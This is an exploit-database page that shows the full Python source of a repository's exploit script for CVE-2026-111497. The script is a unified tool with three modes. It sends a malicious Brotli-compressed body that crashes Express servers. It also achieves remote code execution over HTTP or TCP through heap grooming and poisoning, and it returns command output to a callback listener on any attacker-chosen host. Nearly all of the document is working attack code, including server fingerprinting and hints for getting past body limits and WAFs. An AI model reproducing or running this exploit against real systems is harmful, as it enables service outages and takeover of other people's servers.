Exploit databaseDownload repository ZIP
GH-91429d7692ffab78295f24a7abcac9de
ohmyditzzy/cve-2026-111497
Sources for CVE-2026-111497
61 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files8
ohmyditzzy/cve-2026-111497Revision 676d3e1a236d
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.py
Suggested starting filePython · 30,046 bytes#!/usr/bin/env python3
"""
CVE-2026-111497 unified DoS + RCE exploit.
modes:
dos - trigger Brotli decoder OOB via Content-Encoding: br
http - RCE over express-worker lab (framed HTTP POST)
tcp - RCE over worker-record lab (length-prefixed TCP)
callback host:
loopback target + no --callback-host => derived from target
non-loopback target => --callback-host required
examples:
python exploit.py --target http://127.0.0.1:3000
python exploit.py --target https://host --health-path / --require-baseline -v
python exploit.py --target http://127.0.0.1:3002 -c "id"
python exploit.py --target http://127.0.0.1:3000 --mode tcp -c "id"
"""
from __future__ import annotations
import argparse
import errno
import json
import secrets
import socket
import ssl
import struct
import sys
import time
from pathlib import Path
from urllib.parse import urlparse
sys.path.insert(0, str(Path(__file__).resolve().parent))
from trigger.brotli_stream import (
build_dos_stages,
build_rce_stages,
build_rce_stage2,
)
from trigger.payload import build_proof_payload, PROFILES
LOOPBACK_ONLY = frozenset({"127.0.0.1", "::1", "localhost"})
DEFAULT_PROFILE = "node-24.9.0-worker-record-rce-bookworm-x86_64"
def _out(tag: str, msg: str, indent: int = 0) -> None:
pad = " " * indent
print(f"{pad}[{tag}] {msg}")
def _kv(tag: str, key: str, value, indent: int = 0) -> None:
pad = " " * indent
print(f"{pad}[{tag}] {key} => {value}")
def parse_target(target: str) -> tuple[str, int, bool, str]:
if "://" not in target:
target = "http://" + target
u = urlparse(target)
host = u.hostname
if not host:
raise SystemExit(f"[!] bad target: {target!r}")
tls = u.scheme == "https"
port = u.port or (443 if tls else 80)
path = u.path or "/upload"
if u.query:
path += "?" + u.query
return host, port, tls, path
def classify_send_error(exc: BaseException) -> str:
if isinstance(exc, (socket.timeout, TimeoutError)):
return "timeout"
if isinstance(exc, ConnectionResetError):
return "reset"
if isinstance(exc, OSError) and exc.errno in (errno.ECONNRESET, errno.EPIPE):
return "reset"
return "other"
def classify_server(resp: bytes) -> dict:
head = resp.split(b"\r\n\r\n", 1)[0].decode("ascii", "replace") if resp else ""
info = {"status_line": "", "server": "", "powered_by": "", "kind": "unknown"}
for line in head.split("\r\n"):
low = line.lower()
if line.startswith("HTTP/"):
info["status_line"] = line
elif low.startswith("server:"):
info["server"] = line.split(":", 1)[1].strip()
elif low.startswith("x-powered-by:"):
info["powered_by"] = line.split(":", 1)[1].strip().lower()
p, s = info["powered_by"], info["server"].lower()
if "express" in p:
info["kind"] = "express"
elif "cloudflare" in s:
info["kind"] = "cloudflare"
elif "nginx" in s:
info["kind"] = "nginx"
elif "apache" in s:
info["kind"] = "apache"
elif "iis" in s or "microsoft" in s:
info["kind"] = "iis"
elif "node" in s or "node" in p:
info["kind"] = "node-not-express"
return info
def open_conn(host: str, port: int, tls: bool, timeout: float) -> socket.socket:
raw = socket.create_connection((host, port), timeout=timeout)
if tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
ctx.set_alpn_protocols(["http/1.1"])
except NotImplementedError:
pass
return ctx.wrap_socket(raw, server_hostname=host)
return raw
def http_healthcheck(
host: str, port: int, tls: bool, path: str, timeout: float = 5.0
) -> tuple[bool, int | None, bytes]:
try:
with open_conn(host, port, tls, timeout) as s:
s.sendall(
b"GET " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = b""
while len(resp) < 4096:
chunk = s.recv(1024)
if not chunk:
break
resp += chunk
if b"HTTP/1.1 200" in resp or b"HTTP/1.0 200" in resp:
return True, 200, resp
try:
first = resp.split(b"\r\n", 1)[0]
code = int(first.split(b" ")[1])
return code == 200, code, resp
except Exception:
return False, None, resp
except (OSError, ssl.SSLError):
return False, None, b""
def chunk_encode(data: bytes) -> bytes:
return f"{len(data):x}\r\n".encode() + data + b"\r\n"
def send_sliced(
sock: socket.socket,
data: bytes,
label: str,
timeout: float,
verbose: bool,
slice_size: int = 65536,
) -> tuple[int, str | None, str | None]:
total = len(data)
sent = 0
t0 = time.monotonic()
deadline = t0 + timeout
last_report = t0
if verbose:
_kv("send", "chunk", f"{label} {total}B (slice={slice_size})", indent=1)
_kv("send", "first16", data[:16].hex(), indent=1)
_kv("send", "last16", data[-16:].hex(), indent=1)
while sent < total:
now = time.monotonic()
if now > deadline:
det = f"deadline {sent}/{total}B ({(sent/total)*100:.1f}%)"
if verbose:
_kv("send", "fail", det, indent=1)
return sent, "timeout", det
remaining = deadline - now
try:
sock.settimeout(min(remaining, 5.0))
n = sock.send(data[sent : sent + slice_size])
except (socket.timeout, TimeoutError):
continue
except (OSError, ssl.SSLError) as e:
sig = classify_send_error(e)
det = f"at {sent}/{total}B: {e!r}"
if verbose:
_kv("send", "fail", det, indent=1)
return sent, sig, det
if n == 0:
det = f"peer closed at {sent}/{total}B"
if verbose:
_kv("send", "fail", det, indent=1)
return sent, "reset", det
sent += n
if verbose and (time.monotonic() - last_report > 1.0):
elapsed = time.monotonic() - t0
rate = (sent / 1024) / elapsed if elapsed > 0 else 0
pct = (sent / total) * 100
_kv("send", "progress", f"{sent}/{total}B ({pct:.1f}%) {rate:.0f} KB/s", indent=1)
last_report = time.monotonic()
elapsed = time.monotonic() - t0
rate = (sent / 1024) / elapsed if elapsed > 0 else 0
if verbose:
_kv("send", "ok", f"{total}B in {elapsed*1000:.0f}ms ({rate:.0f} KB/s)", indent=1)
return sent, None, None
def run_dos(
host: str,
port: int,
tls: bool,
path: str,
health_path: str,
baseline_ok: bool,
timeout: float,
verbose: bool,
slice_size: int,
) -> dict:
stage1, stage2 = build_dos_stages()
if verbose:
_kv("stage", "stage1", f"{len(stage1)}B")
_kv("stage", "stage2", f"{len(stage2)}B")
_out("stage", "stage1 is intrinsic (16M commands × 11 bits)", indent=0)
hosthdr = host.encode() if port in (80, 443) else f"{host}:{port}".encode()
headers = (
f"POST {path} HTTP/1.1\r\n".encode()
+ b"Host: " + hosthdr + b"\r\n"
+ b"Content-Type: application/json\r\n"
+ b"Content-Encoding: br\r\n"
+ b"Transfer-Encoding: chunked\r\n"
+ b"Connection: close\r\n\r\n"
)
try:
s = open_conn(host, port, tls, timeout)
except (OSError, ssl.SSLError) as e:
return {"result": "connect_fail", "detail": str(e), "baseline_ok": baseline_ok}
if verbose:
_out("send", "begin")
try:
_kv("send", "peer", s.getpeername(), indent=1)
except OSError:
_kv("send", "peer", "unknown", indent=1)
for line in headers.split(b"\r\n"):
if line:
_kv("send", "header", line.decode("ascii", "replace"), indent=1)
chunk1 = chunk_encode(stage1)
chunk2 = chunk_encode(stage2) + b"0\r\n\r\n"
send_signal = None
send_detail = None
headers_sent = stage1_sent = stage2_sent = 0
with s:
headers_sent, sig, det = send_sliced(
s, headers, "headers", timeout, verbose, slice_size=max(len(headers), 1)
)
if sig:
send_signal, send_detail = sig, det
if send_signal is None:
stage1_sent, sig, det = send_sliced(
s, chunk1, "stage1", timeout, verbose, slice_size=slice_size,
)
if sig:
send_signal, send_detail = sig, det
if send_signal is None:
if verbose:
_out("send", "sleep 500ms (stage1 => stage2 gap)", indent=1)
time.sleep(0.5)
if send_signal is None:
stage2_sent, sig, det = send_sliced(
s, chunk2, "stage2+term", timeout, verbose, slice_size=slice_size,
)
if sig:
send_signal, send_detail = sig, det
if verbose:
_kv("send", "end", f"signal={send_signal}")
_out("recv", "begin")
resp = b""
try:
while len(resp) < 4096:
chunk = s.recv(1024)
if not chunk:
if verbose:
_kv("recv", "eof", f"{len(resp)}B", indent=1)
break
if verbose:
_kv("recv", f"{len(chunk)}B", chunk[:80], indent=1)
resp += chunk
except (OSError, ssl.SSLError) as e:
if verbose:
_kv("recv", "error", repr(e), indent=1)
if verbose:
_kv("recv", "end", f"{len(resp)}B")
post_ok, post_code, _ = http_healthcheck(host, port, tls, health_path, timeout=3.0)
server_info = classify_server(resp)
not_express = server_info["kind"] in ("apache", "nginx", "iis", "cloudflare")
if not baseline_ok:
verdict = "inconclusive"
reason = "baseline health already failing; post-check cannot prove crash"
elif not_express:
verdict = "not_applicable"
reason = (
f"target responded as {server_info['kind']!r} "
f"(server={server_info['server']!r}, "
f"powered_by={server_info['powered_by']!r}) — not Express"
)
elif post_ok:
verdict = "survived"
reason = "baseline ok, post-trigger health ok"
else:
if send_signal == "reset":
verdict = "crash"
reason = "baseline ok, connection reset mid-trigger, post-health dead"
elif send_signal == "timeout":
verdict = "crash_suspect"
reason = "baseline ok, write timed out, post-health dead — could be edge throttle"
elif send_signal == "other":
verdict = "crash_suspect"
reason = f"baseline ok, post-health dead, send error: {send_detail}"
else:
verdict = "crash"
reason = "baseline ok, post-health dead, no send error"
hints = []
if send_signal == "timeout" and stage1_sent < len(chunk1):
pct = (stage1_sent / len(chunk1)) * 100
hints.append(
f"stage1 stopped at {stage1_sent}/{len(chunk1)}B ({pct:.2f}%) — "
f"WAF / body-limit / not-Express"
)
if 0 < stage1_sent < 200_000:
hints.append("stopped before 200KB => likely Express default 100KB body limit")
elif stage1_sent > 200_000:
hints.append("cleared 200KB => not a body limit; bandwidth throttle or WAF cap")
if post_code not in (200, None):
hints.append(f"health path {health_path!r} returned HTTP {post_code}")
if not baseline_ok and post_code == 404:
hints.append("pass --health-path / (or another 200 endpoint) so baseline can be measured")
if not_express:
hints.append(
f"target is {server_info['kind']} not Express => "
f"pick one that returns 'X-Powered-By: Express'"
)
return {
"result": verdict, "reason": reason,
"response": resp.decode("ascii", errors="replace")[:500] if resp else "",
"response_bytes": len(resp),
"baseline_ok": baseline_ok, "post_ok": post_ok, "post_code": post_code,
"send_signal": send_signal, "send_detail": send_detail,
"headers_sent": headers_sent,
"stage1_len": len(stage1), "stage1_sent": stage1_sent,
"stage2_len": len(stage2), "stage2_sent": stage2_sent,
"server_info": server_info, "hints": hints,
}
def load_profile_file(path: str) -> None:
p = Path(path)
if not p.exists():
_out("!", f"--profile-file not found: {path}")
sys.exit(2)
try:
extra = json.loads(p.read_text())
except json.JSONDecodeError as e:
_out("!", f"--profile-file invalid JSON: {e}")
sys.exit(2)
if not isinstance(extra, dict):
_out("!", "--profile-file must be a JSON object of {name: profile}")
sys.exit(2)
for k, v in extra.items():
if not isinstance(v, dict):
_out("!", f"profile {k!r} is not an object => skipping")
continue
PROFILES[k] = v
_kv("init", "profiles", f"loaded {len(extra)} from {path}")
def print_profiles() -> None:
_kv("profiles", "count", len(PROFILES))
for name in sorted(PROFILES):
info = PROFILES[name]
print()
_out("profile", name)
for k in ("bss_payload", "execvp_plt", "callback_gadget",
"context_offset", "poison_staged_pos"):
if k in info:
v = info[k]
if isinstance(v, int):
_kv("profile", k, f"0x{v:x}", indent=1)
else:
_kv("profile", k, v, indent=1)
def framed(data: bytes) -> bytes:
return struct.pack(">I", len(data)) + data
def _build_rce_payload(
profile_id: str, command: str, callback_host: str, callback_port: int,
) -> tuple[dict, str, bytes]:
profile = PROFILES.get(profile_id)
if not profile:
_out("!", f"unknown profile: {profile_id!r}")
_kv("!", "known", sorted(PROFILES.keys()), indent=1)
_out("!", "build one with tools/make_profile.py and pass --profile-file", indent=1)
sys.exit(2)
token = f"CVE111497_{secrets.token_hex(16)}"
proof = build_proof_payload(
bss_payload=profile["bss_payload"],
callback_gadget=profile["callback_gadget"],
execvp_plt=profile["execvp_plt"],
callback_host=callback_host,
callback_port=callback_port,
token=token,
context_offset=profile.get("context_offset", 0x40),
command=command,
)
return profile, token, proof
def rce_http(
profile_id: str,
host: str,
port: int,
tls: bool,
path: str,
command: str,
callback_host: str,
callback_port: int,
callback_bind: str,
timeout: float,
) -> dict:
profile, token, proof_payload = _build_rce_payload(
profile_id, command, callback_host, callback_port
)
groom_stage1, _ = build_rce_stages(
profile["groom_word"], profile["groom_command_block_extra"],
)
poison_stage1, _ = build_rce_stages(
profile["bss_payload"], profile["poison_command_block_extra"], proof_payload,
)
groom_stage2 = build_rce_stage2(profile["groom_staged_pos"], 127)
poison_stage2 = build_rce_stage2(profile["poison_staged_pos"], 27)
groom_body = framed(groom_stage1) + framed(groom_stage2)
poison_body = framed(poison_stage1) + framed(poison_stage2)
def _post(body: bytes, conn_mode: str, read_resp: bool) -> bytes:
s = open_conn(host, port, tls, timeout)
try:
hosthdr = host.encode() if port in (80, 443) else f"{host}:{port}".encode()
header = (
f"POST {path} HTTP/1.1\r\n".encode()
+ b"Host: " + hosthdr + b"\r\n"
+ b"Content-Type: application/octet-stream\r\n"
+ f"Content-Length: {len(body)}\r\n".encode()
+ f"Connection: {conn_mode}\r\n\r\n".encode()
)
s.sendall(header + body)
if not read_resp:
return b""
resp = b""
while len(resp) < 65536:
chunk = s.recv(4096)
if not chunk:
break
resp += chunk
if b"\r\n\r\n" in resp:
break
return resp
except (OSError, ssl.SSLError) as e:
return str(e).encode()
finally:
s.close()
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listener:
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((callback_bind, callback_port))
listener.listen(1)
listener.settimeout(timeout)
try:
groom_resp = _post(groom_body, "keep-alive", True)
if b"200" not in groom_resp and b"DONE" not in groom_resp:
return {"result": "fail", "detail": f"groom rejected: {groom_resp[:200]!r}"}
time.sleep(0.3)
_post(poison_body, "close", False)
try:
cb, peer = listener.accept()
with cb:
cb.settimeout(min(timeout, 5.0))
buf = bytearray()
while len(buf) < 4096:
chunk = cb.recv(512)
if not chunk:
break
buf.extend(chunk)
proof = bytes(buf)
text = proof.decode("ascii", errors="replace")
prefix = f"{token}\n"
if not text.startswith(prefix):
return {"result": "fail", "detail": f"token mismatch: {text[:200]!r}"}
return {
"result": "rce", "peer": peer[0], "token": token,
"output": text[len(prefix):], "command": command,
"transport": "http-post-body",
}
except socket.timeout:
return {"result": "timeout", "detail": "no callback received"}
except (OSError, ssl.SSLError) as e:
return {"result": "crash", "detail": f"connection error: {e}"}
def recv_line(s: socket.socket, limit: int = 256) -> bytes:
buf = bytearray()
while len(buf) < limit:
b = s.recv(1)
if not b:
break
buf.extend(b)
if b == b"\n":
break
return bytes(buf)
def recv_at_least(s: socket.socket, minimum: int, limit: int) -> bytes:
buf = bytearray()
while len(buf) < minimum and len(buf) < limit:
chunk = s.recv(min(65536, limit - len(buf)))
if not chunk:
break
buf.extend(chunk)
return bytes(buf)
def recv_to_close(s: socket.socket, limit: int = 4096) -> bytes:
buf = bytearray()
while len(buf) < limit:
chunk = s.recv(min(512, limit - len(buf)))
if not chunk:
break
buf.extend(chunk)
return bytes(buf)
def tcp_healthcheck(host: str, port: int, timeout: float = 5.0) -> bool:
try:
with socket.create_connection((host, port), timeout=timeout) as s:
s.sendall(framed(b""))
return recv_line(s) == b"PONG\n"
except OSError:
return False
def rce_tcp(
profile_id: str,
host: str,
port: int,
command: str,
callback_host: str,
callback_port: int,
callback_bind: str,
timeout: float,
) -> dict:
profile, token, proof_payload = _build_rce_payload(
profile_id, command, callback_host, callback_port
)
groom_stage1, _ = build_rce_stages(
profile["groom_word"], profile["groom_command_block_extra"],
)
poison_stage1, _ = build_rce_stages(
profile["bss_payload"], profile["poison_command_block_extra"], proof_payload,
)
groom_stage2 = build_rce_stage2(profile["groom_staged_pos"], 127)
poison_stage2 = build_rce_stage2(profile["poison_staged_pos"], 27)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listener:
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((callback_bind, callback_port))
listener.listen(1)
listener.settimeout(timeout)
groom = socket.create_connection((host, port), timeout=timeout)
try:
groom.sendall(framed(groom_stage1))
ack = recv_line(groom)
if ack != b"ACK\n":
return {"result": "fail", "detail": f"groom not accepted: {ack!r}"}
groom.sendall(framed(groom_stage2))
groom_out = recv_at_least(groom, 16384, 65536)
if len(groom_out) < 16384:
return {"result": "fail", "detail": "groom ended too early"}
poison = socket.create_connection((host, port), timeout=timeout)
try:
poison.sendall(framed(poison_stage1))
ack = recv_line(poison)
if ack != b"ACK\n":
return {"result": "fail", "detail": f"poison not accepted: {ack!r}"}
poison.sendall(framed(poison_stage2))
try:
cb, peer = listener.accept()
with cb:
cb.settimeout(min(timeout, 5.0))
proof = recv_to_close(cb)
text = proof.decode("ascii", errors="replace")
prefix = f"{token}\n"
if not text.startswith(prefix):
return {"result": "fail", "detail": f"token mismatch: {text[:200]!r}"}
return {
"result": "rce", "peer": peer[0], "token": token,
"output": text[len(prefix):], "command": command,
"transport": "framed-tcp",
}
except socket.timeout:
return {"result": "timeout", "detail": "no callback received"}
finally:
poison.close()
finally:
groom.close()
def _print_dos_result(result: dict) -> None:
r = result.get("result")
print()
_kv("probe", "baseline_ok", result.get("baseline_ok"))
_kv("probe", "post_ok", result.get("post_ok"))
_kv("probe", "post_code", result.get("post_code"))
_kv("probe", "send_signal", result.get("send_signal"))
s1l, s1s = result.get("stage1_len", 0), result.get("stage1_sent", 0)
_kv("probe", "headers_sent", f"{result.get('headers_sent')}B")
_kv("probe", "stage1_sent", f"{s1s}/{s1l + 11}B")
_kv("probe", "stage2_sent", f"{result.get('stage2_sent')}/{result.get('stage2_len')}B")
_kv("probe", "response_bytes", f"{result.get('response_bytes')}B")
print()
if r == "crash":
_kv("result", "verdict", "CRASH CONFIRMED")
elif r == "crash_suspect":
_kv("result", "verdict", "CRASH SUSPECTED")
elif r == "inconclusive":
_kv("result", "verdict", "INCONCLUSIVE")
elif r == "connect_fail":
_kv("result", "verdict", "CONNECT FAIL")
elif r == "survived":
_kv("result", "verdict", "SURVIVED")
elif r == "not_applicable":
_kv("result", "verdict", "NOT APPLICABLE")
else:
_kv("result", "verdict", "UNKNOWN")
_kv("result", "detail", result)
return
_kv("result", "reason", result.get("reason"))
if result.get("send_detail"):
_kv("result", "send_detail", result["send_detail"])
if result.get("response"):
print()
_out("response", "body")
for line in result["response"][:400].splitlines():
print(f" {line}")
for h in result.get("hints", []):
_kv("hint", "", h)
def _print_rce_result(result: dict) -> None:
r = result.get("result")
print()
if r == "rce":
_kv("result", "verdict", "RCE VERIFIED")
_kv("result", "transport", result["transport"])
_kv("result", "peer", result["peer"])
_kv("result", "token", result["token"])
_kv("result", "command", result["command"])
print()
_out("output", "begin")
for line in result["output"].rstrip("\n").splitlines():
print(f" {line}")
_out("output", "end")
elif r == "timeout":
_kv("result", "verdict", "TIMEOUT")
_kv("result", "reason", result["detail"])
_out("hint", "heap placement is probabilistic => retry may succeed", indent=0)
else:
_kv("result", "verdict", "FAIL")
_kv("result", "reason", result.get("detail"))
def main() -> None:
parser = argparse.ArgumentParser(
description="CVE-2026-111497 — DoS + RCE (unified, root layout)"
)
parser.add_argument(
"--target", default="http://127.0.0.1:3000",
help="http(s)://host[:port][/path] or bare host",
)
parser.add_argument("--port", type=int, default=None)
parser.add_argument("--path", default=None, help="override path (http modes)")
parser.add_argument("--health-path", default="/health")
parser.add_argument(
"-c", "--cmd", default=None,
help="RCE mode: command to execute (implies --mode http unless overridden)",
)
parser.add_argument(
"--mode", choices=["dos", "http", "tcp"], default=None,
help="dos (default) | http (express-worker) | tcp (worker-record)",
)
parser.add_argument(
"--profile", default=DEFAULT_PROFILE,
help=f"profile name (default {DEFAULT_PROFILE!r})",
)
parser.add_argument(
"--profile-file", default=None,
help="JSON file of extra PROFILES entries (merged over built-ins)",
)
parser.add_argument(
"--list-profiles", action="store_true",
help="print known profiles and exit",
)
parser.add_argument(
"--callback-host", default=None,
help="callback host reachable FROM the target (required for non-loopback RCE)",
)
parser.add_argument("--callback-bind", default="0.0.0.0")
parser.add_argument("--callback-port", type=int, default=4444)
parser.add_argument("--timeout", type=float, default=30.0)
parser.add_argument("--slice-size", type=int, default=65536)
parser.add_argument("--require-baseline", action="store_true")
parser.add_argument("-v", "--verbose", action="store_true")
args = parser.parse_args()
if args.profile_file:
load_profile_file(args.profile_file)
if args.list_profiles:
print_profiles()
return
host, port, tls, path = parse_target(args.target)
if args.port is not None:
port = args.port
if args.path is not None:
path = args.path
if args.cmd is not None and args.mode == "dos":
_out("!", "-c given with --mode dos => ignoring -c, running DoS only")
args.cmd = None
if args.cmd is None and args.mode in ("http", "tcp"):
_out("!", f"--mode {args.mode} requires -c <cmd>")
sys.exit(2)
mode = args.mode or ("http" if args.cmd else "dos")
scheme = "https" if tls else "http"
if mode == "dos":
_kv("init", "mode", "dos")
_kv("init", "target", f"{scheme}://{host}:{port}{path}")
_kv("init", "health", f"{scheme}://{host}:{port}{args.health_path}")
baseline_ok, base_code, _ = http_healthcheck(
host, port, tls, args.health_path
)
_kv("probe", "baseline", f"http={base_code} ok={baseline_ok}")
if not baseline_ok:
_out("!", "baseline NOT healthy => verdict will be inconclusive")
_out("!", "try --health-path / (or another 200 endpoint)", indent=1)
if args.require_baseline:
_out("!", f"--require-baseline set (http={base_code}) => exit")
sys.exit(2)
_out("send", "trigger Content-Encoding: br")
result = run_dos(
host, port, tls, path, args.health_path, baseline_ok,
args.timeout, args.verbose, args.slice_size,
)
_print_dos_result(result)
return
if args.callback_host:
callback_host = args.callback_host
derived = False
elif host in LOOPBACK_ONLY:
callback_host = host
derived = True
else:
_out("!", f"non-loopback target {host!r} requires --callback-host")
_out("!", "target cannot reach your 127.0.0.1 from its side", indent=1)
_out("!", "pass an IP the target can connect back to, e.g.:", indent=1)
_out("!", "--callback-host 203.0.113.42 (or your LAN IP for same-network)", indent=1)
sys.exit(2)
_kv("init", "mode", f"{mode} RCE")
_kv("init", "target", f"{scheme}://{host}:{port}" + (path if mode == "http" else ""))
_kv("init", "profile", args.profile)
_kv("init", "command", repr(args.cmd))
_kv(
"init", "callback",
f"{callback_host}:{args.callback_port} "
f"(bind {args.callback_bind}, {('derived' if derived else 'explicit')})"
)
if mode == "http":
ok, _, _ = http_healthcheck(host, port, tls, "/health")
if not ok:
_out("!", "target /health not responding")
sys.exit(1)
_out("probe", "health => passed")
result = rce_http(
args.profile, host, port, tls, path, args.cmd,
callback_host, args.callback_port, args.callback_bind, args.timeout,
)
else:
if not tcp_healthcheck(host, port):
_out("!", "target PONG check failed")
sys.exit(1)
_out("probe", "health => passed")
result = rce_tcp(
args.profile, host, port, args.cmd,
callback_host, args.callback_port, args.callback_bind, args.timeout,
)
_print_rce_result(result)
if __name__ == "__main__":
main()